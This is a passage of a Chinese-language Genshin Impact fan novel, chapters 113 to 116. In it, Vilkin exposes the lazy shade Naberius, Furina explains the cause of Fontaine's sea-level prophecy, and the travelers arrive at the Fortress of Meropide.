芙卡洛斯越说越小声,只能把求救的目光投向此处唯一一个能搞定生之执政的存在: “维尔金大人,我们要不还是继续讲讲原始胎海吧?”—— 作者有话说:久违了家人们,仍然处在加班地狱中…… 吐一下黑泥 很难想象一个五人小部门只剩下我跟另外一个同事做业务是什么地狱(有气无力) 第113章 第 113 章 她一直走在正确的道路…… 逃避久远年代犯下的错误也是神之常情——当然啦, 维尔金这里指的是纳贝里士。 某位已经龟缩在寝居自魔神战争结束就就少露面的生之执政心虚地别开视线。巨大的鸟喙险些戳到芙宁娜。一个没注意,芙宁娜一边后退,却不小心伸手捏住了纳贝里士的鸟喙, 触电般地弹开。 人型灵巧的手和笨拙得只能扑腾的翅膀形成了鲜明对比。鸟喙上的温度还没有散去, 被这一捏陡然失去气势的纳贝里士闷闷说道: “……如果不理解原始胎海之于提瓦特的重要性的话, 把它类比于生命届的世界树就好。二者唯一的不同就是世界树能够存储记录下整个提瓦特的所有生命与记忆, 而原始胎海只能不断重复着生命的循环往复。” 纳贝里士简单解释完, 嘴巴尖叨了一口还在分析情况的芙宁娜。芙宁娜吃痛抽回手,想要反手拍开可又被灵活的黑鹤扇翅躲开。那维莱特上前一步,却被芙宁娜紧紧拦在后方。占据上风的黑鹤昂首挺胸,高翘着头颅,就连羽翅都舒展开来, 在两个年龄加起来都没有自己大的新任水神和新任水龙王面前洋洋得意了好一会。 还没等他享受胜利的果实,公正的天理率先决定制止一番眼前一边倒的局面。 维尔金一把薅住黑鹤,捞起还没一条鱼重的纳贝里士, 面带微笑、无比“和善”得提醒私心满满的纳贝里士: “这么大岁数就不要再欺负小孩子了, 谁还没有个做错事的时候——芙卡洛斯我没在说你。以及,纳贝里士,最近你好像有一点轻松过头了, 我怎么觉得芙卡洛斯在地上比你要忙得多呢?” 被上司一语道出现状的纳贝里士扑腾翅膀, 尴尬落地。 “咳咳, 总而言之目前提瓦特运行状况大致无碍, 大部分事务依靠世界树的自净功能就可以处理完毕, 少部分比较复杂的,有时我还没有来得及出手,您就顺手与「生命」之权能相关的工作量会少一点……” “所以说还是太闲了。”维尔金锐评,享受了好几百年悠哉闲适生活的纳贝里士背后一凉, 隐隐感觉大事不妙—— “那你来跟着处理一下枫丹眼前的危机。原始胎海也同样很重要……而且我记得,原始胎海心脏这一项目,是由你一手管理的吧?” 维尔金伸手,不讲武德地直接要求检查材料:“文书记录呢?你再跟芙卡洛斯和那维莱特好好讲讲原始胎海的现状和症结,我来检查一下这个项目的问题在哪。” 神采奕奕的黑鹤顿时被抽干的色彩,油光水亮的羽毛黯淡了好几个度,眼神开始躲闪。 那维莱特还看不出来三个神明之间怎么这般一惊一乍,多年来一直在扮演「水神」的芙宁娜已经马上分析出来了黑鹤咋咋呼呼又突然萎靡的原因,福至心灵地得到一个看似离谱实则有理有据的答案: 生之执政纳贝里士这么多年来根本就没有在干活,所以不仅给不出文书,连在创世之初的原始胎海心脏的由来和关于厄歌莉娅前辈离开深海的内容,都是他被维尔金大人喊下来之前临时赶工的! 这一个猜想像是打通了芙宁娜的任通二脉,刚刚怎么看怎么觉得离谱的性格和尖酸刻薄的语句也都有了原因。 可怜的纳贝里士没有察觉到自己的底已经被看透,还在磕磕绊绊解释:“那个文书……毕竟年代有些久远……” “我记得维系者有告诉过你们所有文书记录必须要上传世界树并留档?” 纳贝里士支支吾吾:“当年灾厄爆发对世界树的功能也产生了一定影响……” “那应该只是这几百年的记录存在问题。”维尔金半眯着眼睛,像是正在捕猎偷懒鸟雀的猎豹,直勾勾地盯着纳贝里士,声音也沉闷了些,就连那维莱特都从中听出了不满: “还是说,你连补都没补吗?” “纳贝里士前辈——如果是有关厄歌莉娅大人成为尘世七执政之前的材料枫丹庭就有存档,不过关于原始胎海以及目前有可能对枫丹造成的灾难性影响……我们都非常需要您的帮助!” “什么?”纳贝里士怀疑自己出现了幻觉,难道工作不做会自己从海里钻出来吗? 芙宁娜双手合十,郑重其事:“当然是您让厄歌莉娅大人保存好的文书呀!放心,我们可是一直有在好好保存并且更新!” 话里话外自然是要求纳贝里士好好干活来换取文书了。 只不过生之执政这个家伙——芙宁娜现在对这个见面就甩锅的、传说中的创世者之一的纳贝里士只能报以无语的凝视: 早说没准备好文书不就行了吗?这么多年来,她跟那维莱特两人可着实都对放置在枫丹庭又无人理会的诸多文书摸不着头脑,之前向厄歌莉娅询问,也只是得到了一个“很多年前的文书纳贝里士大人拜托我的留档”的恢复。 事情发生的太过突然,他们还没来得及通气,一看见自己顶头上司在场,着急忙慌的纳贝里士直接打了一个时间差和偷换概念,率先先发制人,一不注意,身上就已经被甩上了一个惊天大黑锅。 如果时间更加充足一些,铸成大错又试图甩锅给新人的老油条很快就能知道自己担心了好一阵的文书早就被可靠的造物安然存放在自己的国度,并让后继者好好保存。 罪过罪过。安逸的生活使鹤堕落。 芙宁娜已经是心如止水,甚至心中莫名生出一种“还好纳贝里士平时不理政务”的庆幸。不是每个执政官都会像维系者那样能顶事,天理也不是那种只看结果的家伙,要是生之执政是那种喜欢揽活的可怕领导……呜,感觉以后就会过上天天猝不及防背上黑锅的日子了。 芙宁娜幽幽投去怨念的目光,心虚的纳贝里士相当从心地装作什么都没有看见,一副很忙忙得什么都忘了的无知表情,又瞪着那双鸟眼睛,强撑伪装成心如止水,偏过头用尖锐的鸟喙梳理为了快速赶来海底而微微打湿的凌乱黑羽,看起来气定神闲,稳坐高台半点不慌。 不过纳贝里士的身体显然比那表情更加诚实,打理好的羽毛又在生之执政大人乱糟糟的思绪中被重新梳乱。 作为资深老领导,维尔金还是选择给亲爱的法涅斯的摆烂影子留了那么一点颜面,没有选择揭穿纳贝里士那因为心虚而显得一点就炸的状态,眼见纳贝里士和芙卡洛斯两个已经达成了一致,也不再多说,而是开启了他们最初的话题: “差不多就是如此,原始胎海的循环构造更加简单,哪怕只有一个小小的条件与指令产生冲突,原始胎海的逻辑都会在顷刻间卡壳。” 纳贝里士也松了一口气,多年的共事经验让他清楚地知道这是维尔金不打算追究自己偷懒。但由于是被现场抓包,好不容易支棱起来的气势也骤然低了几分,向芙宁娜和大敌水龙王都投去感激的目光: “厄歌莉娅就是那个我用以破坏原始胎海内循环的造物,她的存在会让原始胎海误以为循环已经结束,并源源不断地向她供给本应属于水龙一系的力量。也因此,她的眼泪形成了纯水精灵——既然是由原始胎海内的海水形成,自然也会溶于海水。” 而厄歌莉娅将纯水精灵们变成人类只是改变了他们的形态,在纯水精灵们被作为「人类」存储在世界树中之前,形态的转变不意味着种族的转变。胎海的心脏只是影子的造物,海洋真正的主人尚在沉眠。 “但是为什么在厄歌莉娅大人卸任后,胎海水仍在源源不断抬升外溢呢?” 按理说,那维莱特已经转生,原始胎海理应重新开始正确的循环,而不是像一个到处破洞的袋子一样兜不住外溢的原始胎海水。 “没明白吗?”纳贝里士歪头,好心提示:“哪怕只有一个小小的条件与指令产生冲突,原始胎海的逻辑都会在顷刻间卡壳——” 电光火石之间,芙宁娜惊觉到原因,脱口而出: “我知道了!” 原始胎海之所以不断外溢,就是为了寻找被厄歌莉娅前辈变成人类的纯水精灵! 不,甚至这不算外溢! 如果原始胎海就在枫丹区域的正下方,那么应该称其为“渗透”! “原始胎海在厄歌莉娅前辈『原始胎海心脏的赝作』离开后继续了正确的循环,但是由于力量不足,那维莱特的权能并不完全……赋予权能的条件不足,所以原始胎海水想要把纯水精灵『原始胎海水』回收,以继续启动循环!也就是说,只要能够帮那维莱特拿到权能,灾难就能够避免!” “满分推理!”维尔金忍不住为芙宁娜精彩的逻辑分析鼓掌,“不过还存在一点小小的盲区。” “是什么?”芙宁娜无比激动,她已经隐隐约约感觉到,天理口中的“盲区”就是能够避免预言灾难发生的关键! 只要能够弄清楚,只要能够弄清楚—— 维尔金竖起食指在中间,不管是扑腾的纳贝里士,急切的芙宁娜,还是心中有了一定猜测的那维莱特都静静等待着他的答案。 “不要把事情想得那么复杂,我只会说出我看见的事实。” 天理看见的事实…… “开端即是终焉,时间一无所有,命运往复循环,死生皆为虚妄,谜底即在谜面。”那维莱特突兀的开口,然后顿了顿,像是在摸索脑内久远的记忆: “原初之人法涅斯提到的第二个「奇迹」……我想,最后那句『谜底即在谜面』应该就是维尔金先生提示的正确答案吧?” “哦?”维尔金来了兴致,人型的水龙王身上的气息似乎有一些微妙的变化,“利维坦吗?” “不,我是那维莱特,只是刚刚凑巧想起了一些久远的记忆而已。”那维莱特如实说道,“如果按这句的意思来理解,维尔金先生的意思应该就是,他所说的每一句预言仅仅只是字面意思,是他看到的景象,与起因、经过、结果无关——” 所有的枫丹人一出生便带着罪孽,不论正义的国度枫丹再怎么进行审判,都无法消解。 所有的枫丹人都是违背了天理的命令、由厄歌莉娅从纯水精灵转变而来。 直到某一天,枫丹的海平面会开始上升,背负罪孽的人们逐渐被海水淹没。 厄歌莉娅离开、水龙王复苏,原始胎海继续运行逻辑程序,试图补充胎海水。由于原始胎海的逻辑运行一根筋,为了让新生的水龙王重获权能,会向外渗透,寻找外部的胎海水。 最终所有人都会溶解在海里,只剩下水神自己在神座上哭泣。 所有纯水精灵变成的枫丹人的本质就是胎海水的一部分,因此他们一旦触碰到原始胎海水,便会变回原来的样子。 至此,枫丹人的罪孽才会得以洗刷… 纯水精灵回归原始胎海,逻辑能够正常运行,海水才会褪去。 ——一切问题都迎刃而解! 所有人都意识到了预言危机中的症结所在,原始胎海水需要力量孕育水龙王的权能,所以水位上涨的目的是把枫丹人「流落在外的海水」吞没。 芙宁娜激动地几乎要哭出声来: 他们一直行走在正确的道路上! 第114章 第 114 章 关于前辈的上司是懒鬼…… “堪称满分的推理!” 维尔金为枫丹神明缜密的分析喝彩, 意思完全正确。不过该说不说,分析过程究竟正不正确,还需要打一个大大的问号。 是的, 除了坎瑞亚灾变浅浅沉眠以外, 一直都忙成旋风陀螺的维尔金并没有把心思放在法涅斯留下的两句遗言上。 古龙也好, 魔神也罢, 甚至就连维系者本人都会分出不小的精力关注法涅斯留下的两句谶言, 并试图将之于提瓦特所发生的一切大事对应起来。 关于「身」的描述与他布置好的提瓦特世界基本架构和运行逻辑基本一致,惯性思维下,许许多多别有心思的家伙都想当然地认为,既然「身」代指表象,那只要堪破第二句关于「理」的谶言, 就能找到提瓦特隐藏的秘密,甚至击败披着虚假外衣的天理。 对此,为了不让阴谋家们失望, 维尔金难得认认真真地配合这些想象力丰富的家伙们的演出, 事事也尽量与法涅斯的临别之言贴合,但问题就在于,无论如何贴合, 第二句的阐释始终无法如第一句那般严丝合缝。 无怪乎水龙和水神会想起这一个久远的谶言, 巧合的是, 这句确实与维尔金所要表达的意思完全相同。 有了天理的肯定, 芙宁娜更加确信自己的推理完全正确, 实实在在地长舒一口气。 “芙卡洛斯,我必须要提醒你,维尔金大人所看到的「未来」,必定是会发生的「事实」。如果你是打着让水龙王拿回权能以避开预言的想法, 我建议你不要再想了。” 黑鹤冷不丁为激动的后辈泼了一盆冷水: “我建议你们多备点船,这可比你们把天理吵醒来解决问题这种荒谬的办法要靠谱得多。” “我真的只是想掰一小块碎片下来……” “那更加荒谬了。”纳贝里士锐评,“为什么要为了一个枫丹去掰下天空?你明明知道按部就班地做符合预言发展的事情、规规矩矩地在背地里执行自己的微操就可以了吧?为什么要去试图制止灾难的发生呢?退一万步说,这其实不是你的问题,虽然我至今都在怀疑厄歌莉娅从头到尾都没有把我的劝告听进去,但是,事情的结果是,她违背了维尔金大人制定的法则,既然违背,那必定就有惩罚,不是吗?” “可是,规则不是已经改了四百多年了吗?”这一下芙宁娜也被问的心里有些发虚,她这一切行为有一个最基本的依仗—— 对长生种的赦免。 好像有哪里不太对?芙宁娜心里犯着嘀咕,怎么生之执政看上去就这么笃定一定会惩罚呢? “什么改了?”纳贝里士嘴快,在话过脑察觉到不对劲之前脱口而出。而就是这一闪神,他瞬间意识到了不对—— “纳贝里士,看来你这几百年过得确实是出乎意料地悠闲。” 维尔金三言两语为生之执政的摸鱼时光画上句号。! 坏了! 纳贝里士顿觉大事不妙,熟悉的心凉感和岌岌可危的摆烂生活正在向他挥手说再见,芙宁娜千方百计配合生之执政的工作也防不住他本人自爆。 “回去找维系者给你安排点活干——之前派蒙她们不是说要弄一个类似于转接点对点解答的功能吗?纳贝里士,以后这一块就全部归你负责了。” 呆滞的黑鹤眼神迷离,像是还没有从美好的幸福生活中清醒。直到维尔金已经分配好他的工作任务,这位靠着打世界树擦边球和维尔金沉睡时间差的生之执政才意识到,自己的悠闲时光一去不复返。 罪魁祸首就是自己这张破嘴。 纳贝里士恨不得跪下来求远在天空岛的派蒙把自己传送回一分钟前的时间点,然后狠狠扇自己一巴掌。 也怪不得纳贝里士这副模样,在世界树的记录中,生之执政与时间执政一样,无论在先前的任何一次记录中都没有活到坎瑞亚灭国后的时间点。唯独这一次重置,维尔金亲自下场插手了坎瑞亚灾变,将深渊又一次冲锋隔绝在世界之外,走运的纳贝里士这才活到了现在。 也就是说,「生之执政纳贝里士」本不应存活。 然而命运就是如此奇妙,不光使得不少走运的魔神存活下来,还让纳贝里士趁着维尔金沉眠好好享受了一番生活。毕竟天理可不是维系者,后者确实会按照世界树的既有数据进行安排,可换做是维尔金这个家伙,他肯定早就把任务分派给手下的所有执政。 维尔金在心底为纳贝里士的年终绩效考评画了一把大叉,并贴心地把某位擅自休大长假的生之执政前前后后直到提瓦特毁灭的休假全部抵扣干净—— 开什么玩笑,只是让纳贝里士回去干活已经充分体现了天空岛如今的人性化制度!看看忙碌的维系者,又看看摸鱼摸到连重大规则发生改变都一无所知的纳贝里士,维尔金恨铁不成钢。 纳贝里士在创世初期也是提瓦特的一大功臣,在重置前的世界,理应被失去理智的「黄金」莱茵多特吞吃掉心脏,失去智能。 不过看他现在活蹦乱跳的状态,以及油光顺滑的羽毛……维尔金大笔一挥,又在心底里默默减扣掉了纳贝里士的羽毛顺滑剂。 既然工作不认真,为了以示惩戒,还是把福利先停掉吧。 短期不端正的工作态度……之后跟维系者谈谈职能与业务的扁平化管理,不能一边是维系者忙得只能用派蒙的权能左眼站岗右眼放哨,一边是摸鱼的懒鬼还有空维持自由的兽形,偶尔还能闲下来去给自己的羽毛做一个全身精华护理。 维尔金越想笑容越危险,阴森的样子显然让某鹤想到了某些不怎么美妙的会议。黑鹤已经缩成一团,恨不能当成成为造物的继任神明身边的水形幻灵当场遁走。 纳贝里士收拢翅膀,乖巧战直,脖颈挺立,面上虽然依旧是那副看不清楚表情的鹤脸,但是已经用行动表示了自己一定老老实实干活、规规矩矩上班的淳朴思想。 对水元素变化感知极为敏锐的那维莱特和芙宁娜都能够清楚地察觉到,这位不以人型示人的生之执政绝非他所表现的那般心平气和而又冷静。 纳贝里士的力量附着在他每一片羽毛上,海水根本不能沾湿哪怕一根。可黑鹤的绒羽内里已经全部被分泌的汗水打湿,不安分的小翅膀还在偷偷摸摸地把另一位执政官的权能道具往翅膀里面塞,那么结果毋庸置疑—— 枫丹的一二把手对视一眼,很快确认了彼此的猜想: 尊敬的生之执政被抓包后,好像快要昏过去了。 结合之前纳贝里士被天理一时兴起喊过来后就率先发难,芙宁娜也有了新的想法——本来以为生之执政最开始是在指责他们工作水平和完成度,现在看来,应该只是单纯地在怪他们把天理给弄醒,真是虚惊一场。 至于为什么唯独唤醒天理会让纳贝里士心怀不满,芙宁娜觉得原因也很简单。 一个没有完成过往文书,对几百年规则所发生重大变化也一概不知的领导,很难对把超级大领导引过来的下属有好脸色。 芙宁娜越想越觉得有理。 ——至于纳贝里士,他也有自己的理由!生之执政的权能在于创生,因此提瓦特他所创造的一切就是最好的留痕,文字记录在他眼中纯属没事找事。难道会有文字比创造的山河湖海要更加可信吗? 再说地脉之花也只是方便天空岛的神明们处理地上的紧急事务,最大的用处是将提瓦特的原始数据传输至世界树,而按照纳贝里士从重置中获取的宝贵经验,这玩意平时用处基本为0。那没用的东西,偶尔偷个懒不管也无伤大雅。 至于文书,那更是刚刚紧急搜寻记忆提取出来的当事神回忆。临来前,睿智的生之执政还不忘用好同事派蒙的权能略微做旧一下,不至于看起来他有点过分敷衍自己的本职工作。 只不过在四影执政之中,既然有人负重前行,那必然也有人在岁月静好。维系者是领头的卷王,继任者派蒙是活跃气氛的可靠劳动力,若娜瓦属于自闭工作党,所以顺理成章地,纳贝里士成为了四位影之执政中唯一能够忙里偷闲的摸鱼党。 至于维系者独独容忍他三天打鱼两天晒网的原因……纳贝里士心中也不是没有答案—— 按照世界树中存档的既定未来,生之执政纳贝里士理应在坎瑞亚灾厄之后陨落,既然「纳贝里士」不存在,那他自然也不需要为这个世界的未来忙忙碌碌。了解同事个性的纳贝里士也非常识趣地没有在辛勤工作的兄弟姐妹身边炫耀,居然就这么让他糊弄了好几百年—— 真要盘算起自坎瑞亚灾厄后这几百年的工作量,枫丹水神+大审判官的组合技已经足以让某位打擦边球摸鱼的影之执政羞愧得把头埋进翅膀! 好在,摸鱼的生之执政终于迎来了制裁他的直属上级—— 可喜可贺! “那么,纳贝里士。” 可怕的直属上级一拍脑门就想到了一个让纳贝里士两眼一黑的阴招: “你的任务就是解决枫丹预言的危机。搞定了回去干活,搞不定回去把维系者的活接了让她来搞定。” “放心大人!”纳贝里士神情严肃,立正站好:“我用生命发誓,保证完成任务!” 第115章 第 115 章 请及时更新工作资料包…… 天空岛无人不知维系者可怕的工作量, 纳贝里士只是想偷个懒,没有把自己送上坟场的想法。 纳贝里士的识趣让维尔金颇为满意地点了点头:“枫丹的预言就交给你们了,我就不掺和地上的事情, 但是有一个种族, 我最近兴趣挺大——” 目的达成了大半, 芙宁娜也松了一口气, 可眼见维尔金似乎是又对美露莘们产生了幸福, 胸口又吊着口气,不上不下,极为忐忑,只能小心翼翼地试探问道:“您是指……美露莘们吗?” “没错。” 哪怕是维尔金本人都不由得感慨坎瑞亚的的确确是有些本事,也无怪乎每一次都被深渊盯上, 是在是人类的潜力和命运的无常都超出了所有人的想象。 试问,谁会认为「黄金」自己都不觉得算成功的失败作居然在死后成为了孕育新生的温床? 维尔金不着痕迹地打量着纳贝里士,后者甚至被他盯得有些炸毛, 可又碍于才犯下错事, 不敢像往常一样大大咧咧地直接问,只能自己硬憋着一口气,接受维尔金的仔细打量。 "我对他们的诞生很好奇。" 维尔金收回视线, 如此说道。 纳贝里士的权能还在他身上。 所以, 是深渊的力量阴差阳错造就的美露莘? 反正无论如何, 这一趟, 维尔金都必须要去亲自看看。 至于枫丹老掉牙的预言——虽然纳贝里士的名头或许没有其他三位那般响亮, 但四影执政之一的实力毋庸置疑,眼下又有戴罪立功的压力,理论上很快就能解决问题。 维尔金一边思考,手指一边有节奏的敲打着关节, 一时之间,空间都陡然凝固了一瞬。 芙宁娜一直紧张地观察维尔金的每一个细微得到动作。 天理提出要了解美露莘们是早晚的事,那些从坎瑞亚罪人的造物之遗体诞生出来的生灵,与天空岛的底线——深渊息息相关,天理对她们心存顾虑也不是什么完全想不到的事情。 只是…… 芙宁娜用余光看向那维莱特,自从分析出天理预言的真意之后,这位向来直言不讳的大审判官似乎已经完全陷入了深思,就连天理明晃晃地表现出对美露莘们的想法都没有任何表示。 那维莱特不是一条藏得住心思的龙。 她更加倾向于,那维莱特是被来自于过去的诸多事件和人物冲散了心神,只存在于古老传说中的原初之人所留下的遗言也好,那位早已消弭在提瓦特大陆的初代古龙王也罢,甚至于厄歌莉娅前辈地创造者,与天理一同参与过创世之举的纳贝里士,一切的一切就像是滑坡的泥石流,甚至于连芙宁娜自己,都被庞大的信息量冲击得有些晕晕乎乎的。 这都能解释那维莱特的异样,但唯独美露莘—— 在芙宁娜眼中,这个在那维莱特上任后才带入枫丹的全新种族始终是水龙身上的一块逆鳞,芙宁娜尊重她的大审判官,也不愿他的合作友人因为公事彼此之间产生嫌隙。 “我明白了。”芙宁娜点点头,侧过身,把悄悄猫在一边思考的那维莱特完全展示在天理面前,真切建议道:“那维莱特应该算是枫丹中对美露莘们最了解的人没有之一了,您看需不需要那维莱特也跟您一起走一趟?” “不必了。” 维尔金轻轻摇了摇头,看向自从说出关于法涅斯留下的第二句遗言之后几乎没有再开口说话的水龙王,说道: “你还有更重要的事情去做。” 原始胎海之水为了散落在外已成纯水精灵的水珠们而来,一切一切的缘由,不过也是始于那场天空与龙族的战争。想要终结这一切,新任的水龙王必须拿回自己的权能。 至于是用纯水精灵们的回归还是别的办法,维尔金不管。 是的,虽然听起来很没有属于天理的责任感,但维尔金确实不会管。 并非是因为他不把纯水精灵变成的枫丹人不当人,而是枫丹早已在无形之中犯下了另一个错误—— 纯水精灵变成的人孕育下一代,死后却又不再回归纯水。 此乃中断世界的规则与循环。 这是枫丹必须要依靠自己的力量熬过去的劫难,如果让维尔金自己来纠正这个错误…… “我明白您的意思了。谢谢你,维尔金先生。” 处在话题中心的那维莱特微微终于开口,或许是希望自己亲手从地底带出来的种族能留给天理一个好印象,他顿了顿,又补充一句: “她们……或许会意外地跟你很合得来。” 纳贝里士眼皮狂跳,有史以来第一次后悔已兽形行走世间,而没拿副人型壳子出门。 这条水龙知道自己再说什么吗??!往前再数个几千年、哪怕是尼伯龙根尚且存于提瓦特之内,也断然不敢有人拿与深渊同源这一点阴阳维尔金。除了少数几个实力强大如阿佩普之类的还会叫嚣几句“虚假之天”,稍微实力弱小一点的长生种都知道闭紧小嘴巴,不要在维尔金面前提及祂的本质。 纳贝里士沉住呼吸,不干净的小翅膀已经在那维莱特说出雷区言论的瞬间将这一方小小的天地与海底隔绝开来。他沉睡得太久,既不敢去试探如今维尔金的逆鳞究竟为何,更不敢放心大胆地新任人类联合厄歌莉娅造出来地建筑。 开什么玩笑,水龙王自己皮糙肉厚挨两发天钉都不算个事儿,那厄歌莉娅的枫丹可就保不住了! “那太好了!” 纳贝里士大脑紧绷着的那根弦瞬间崩断,就当他还以为自己紧张过头导致出现了幻听的时候,纳贝里士听见自己曾经无比反感被提及自己的本源、对他来说同天空岛的大家之间比起来与古斯托特本源更为相近的直属上级居然格外高兴地说道: “那看来,美露莘们的创造和居所会非常符合我的口味了!真好,这才算休假啊——天天看上班环境算什么个事嘛……” —— 整段垮掉!!! 纳贝里士这下完全呆住,他这下真的信了同事们谈论的关于“维尔金大人脾气好了不少”这一条传言的真实性,只可惜为时已晚。情报不足的弊端已经暴露得了个彻底,可怜的纳贝里士一整个进退两难。撤掉权能就显得他未免有些过于以小人之心度君子之腹,居然怀疑自己尊贵的领导对自己情绪的把控力;可不撤,尊贵的领导依旧会很快发现自己的得力下属悄悄摸摸施展了权能,又显得就他一个人大惊小怪,简直有辱生之执政的伟大名声。 可怜的生之执政已经完全陷入了绝望,并在今天第不知道多少次开始后悔这几百年的懒惰——再怎么摸鱼,至少得关注一下关于维尔金大人的最新消息啊!! 就在纳贝里士已经思考到当场变成地鼠一头扎进地里的可行性时,结界外此处监狱的名义主人发出了一些动静,不对,还有一个陌生气息的女人—— “维尔金大人。” 纳贝里士如获大赦,赶紧汇报:“外面似乎有些新动静。” “应该是莱欧斯利,看来我们占据公爵的地下室太长的时间了。”那维莱特看了一眼时钟,虽然维尔金本人也盛情邀请这位年轻的典狱长一同观赏一下枫丹历史的活化石现场讲述过去的各种乱七八糟事,可无奈梅洛彼得堡的事务繁多,数不清身份麻烦的家伙都被一股脑地塞进梅洛彼得堡这个大熔炉,还没等纳贝里士暴露出自己摸鱼大王的特性,任劳任怨地典狱长就不得不去处理更加紧急的事务,还给常年留在梅洛彼得堡的美露莘医生希格雯带来了那维莱特到来的好消息。 公爵大人极为绅士地敲响了自己办公室地下室的大门。 “女士们先生们,我们的工作人员,玛蕾蒂女士说有两位‘大人物’隐姓埋名来梅洛彼得堡微服私访,不过有一件事情比较在意,玛蕾蒂女士提及,那两位金发的异乡人,似乎提到了水神大人的神名,以及……远道而来的维尔金先生?” “异乡人……等等芙卡洛斯,金发、以两人为单位出现、还知道我的名字——”维尔金越念叨越觉得熟悉,只是荧和空,他们两个居然没有离开这个已经变成烂摊子的提瓦特吗?一时之间,维尔金心底悄悄生出一些酸涩的粘稠感,降临者兄妹俩都是大大的好人……如果提瓦特如它表面上看到的那样美好有趣的话,维尔金一定会盛情邀请他们多留一段时间。 可深渊和磨损始终是萦绕在降临者头上挥之不去的阴霾,荧还在坎瑞亚受到了无妄之灾,兄妹俩又都倒霉地经历了数次重置,连记忆还出现了一些问题。后来维尔金沉睡,也不知道这几百年里,这兄妹俩有没有再受到影响……虽说有维系者在,应该没有出什么大岔子。但如果有,说什么维尔金都得亲自把他们打包送回星空。 心底没底并且脑内响起警报的维尔金再度确认了一番:“是空和荧?” “是的,就是那两位在坎瑞亚一战中出了大力气的降临者兄妹。”芙宁娜确认完,却又对这两位降临者的突然出现感到极为不解:“只是这两位不应该还在忙着处理深渊裂缝吗?怎么会出现在梅洛彼得堡?那维莱特,你有看到什么申请或者通知之类的吗?不对不对……我们离开枫丹庭也有一段时间了,总而言之,莱欧斯利,麻烦你让狱卒把这两位异乡贵客请过来吧。” 第116章 第 116 章 厄里纳斯一动不动(上…… 上午还是监下囚的异乡人却在神明造访之后摇身一变, 成为了远道而来的贵客。 梅洛彼得堡的狱卒们亲眼见证了堪比八重堂无厘头轻小说的夸张转变,几个跟玛蕾蒂关系不错的狱卒好奇打探,却只换来后者飘忽不定的眼神和结结巴巴的解释。 谁能想到传说中的大人物居然能够诡异到玩一场莫名其妙的监下囚角色扮演呢? 得不到答案的狱卒们嘀嘀咕咕, 狱卒小姐有苦说不出——谁能想到无聊的日常工作途中居然能够见到这么多大人物?谁又觉得芙宁娜大人和那维莱特大人会亲自下一趟梅洛彼得堡? 私底下如何暂且不论, 梅洛彼得堡明面上依旧是一如既往的平静无波, 当事人空和荧已经练就了一番迅速融入提瓦特七国氛围的本事, 荧面无表情双手环胸, 手指和掌心间夹着一大叠手写调查分析。空从妹妹手上拿过文件,用手掌码齐,递给维尔金,极为无奈: “长话短说,枫丹海底已经开始漏胎海水了, 跟预言有点关系,但我觉得更像是微操失败的结果——” 尽管空已经尽可能说得委婉,但深知提瓦特出岔子概率的维尔金还是心脏咯噔一下, 脑内一闪而过些许不太美妙的想法, 接过空手上递过来字迹紧凑的调查分析,三下五除二扫视一番,维尔金秒懂。 由于吞天巨鲸早早地被他截住并扔给大蛇, 老眼昏花的世界树识别错误, 害得原始胎海照旧裂开——只不过之前是外来物种干预, 这次可是实实在在的内部原因。深渊的病灶完全就是被拿来缝缝补补的一块砖, 维尔金猜, 大概是世界树实在是想不到还有什么能够让枫丹的危机如约应验,自动补全了条件。那归根到底,这事说起来还得是他本人全责。 首先必须要强调一点,重置的实质是将世界树内存储的灵魂数据进行读档重开, 因此正常情况下,世界树会自动使得重置并被修改后的世界与之前的运行轨迹相连,最差也能保证表面的逻辑吻合。 但这一前提是,储存的数据必须完好。显然,那一沓厚厚的分析资料证明了一件事:要是维尔金再拿世界树当作弊器,只会有越来越多不合常理但又必须出现的问题节点变得难以预料,且淤积在世界树核心的深渊污秽,哪怕是在将其完全清除之后,仍对世界树造成了不可挽回的损伤。 提瓦特完了重置就好,这世界树完蛋,他现在可要从哪里再找来这么一棵兼具支撑世界和记录一切的树?还有地脉和裂缝……维尔金揉了揉太阳穴,将复杂的后续短暂放置一边。 解决不了的问题就等问题爆发后一股脑清理,维尔金不是救人的医师,他的本质也让他无法做到旁观无知者想象中的净化,不论是深渊的病灶还是浮动的人心,他什么都改变不了。既然越想越烦躁,那干脆就不去想——他实在是太忙了,忙到只要不是会造成提瓦特立马毁灭的大事,都可以先暂且按下不表。 维尔金抬头,三步并作一步,厚实的文件资料打在鹤头,纳贝里士反射性一缩,没点志气的样子险些让维尔金心里有点发怵,敲打一番懒筋松散的纳贝里士,警告道: “别想着偷懒,我会让芙卡洛斯盯着你。” “我哪敢啊……”纳贝里士直呼冤枉,神明开摆摸鱼有道,明明是世界树卡bug没记录上,让他得以顺理成章浅浅摸鱼一番,怎么搞得像是他故意放任不管一样。 维尔金把几乎要心碎得塌下去的黑鹤竖起,拍了拍后者身上并不存在的灰尘,话锋一转,收敛了半开玩笑的神态,极为珍重地提醒: “别忘了胎海水的本质和……永不餮足的深渊魔物们。” 维尔金的声音越来越轻,最后一句话的尾音落在地上时,话音也随之沉入纳贝里士的心脏。 纳贝里士完全收起了懒散随意的态度,羽翼端着一沓文书,看上去滑稽又好笑。当事鸟完全不在意自己的滑稽模样,只是看着自己名义上的顶头上司,张口欲言,却发现也不知道说什么好。 嘴两句怎么这么多年还没有调整好心态,还是宽慰摇摇欲坠的虚假之天不要多想? 纳贝里士没说话说话,虚假的关心只会显得他们不熟,故意忽略又像是在逃避什么。不过纳贝里士的优点就在于他真的很擅长和维尔金沟通——拥有「祂」的心脏,不会与他沟通才是怪事。”你也要小心。” 维尔金的嘴角扬起一个不易察觉的弧度,声音更加自信了些—— “不必在意这个,记得速战速决。” 而他,则需要在短暂的时间内取处理一个小小的私事。 维尔金也曾渴求过众生的认可,不过一切木已成舟,知晓自己的存在究竟对这个世界的意义究竟为何之后,维尔金早就不再在乎那些无用的情绪价值。龙仇视他,是因为他赢了;魔神畏惧他,是因为他过分强大;而他主动放弃的兄弟姊妹们怨恨他,则是愤恨于他不与他们同流。 不曾创造过真正生命的生物是无法体会到造物主的心境,从厄里那斯血肉衍生出来的全新种族替厄里那斯完成了一个全新物种的创造,它就是美露莘们的造物主。 拥有与他一模一样的本质、被从天空带入提瓦特、又被塞入有限身躯的无形之深渊污秽,视野与原生种完全相反之造物,厄里那斯。 直觉告诉维尔金,他们一定会有共同话题。 美露莘们的本质让那维莱特欲言又止,长生种们不都是如若陀龙王被封印、亦或是如斯库拉那样不得离开处所半步。重生后的水龙不曾见过维尔金本尊,却也从暗之外海各种各样的长生种们和同事们处道听途说过不少关于「虚假之天」的可怕故事。 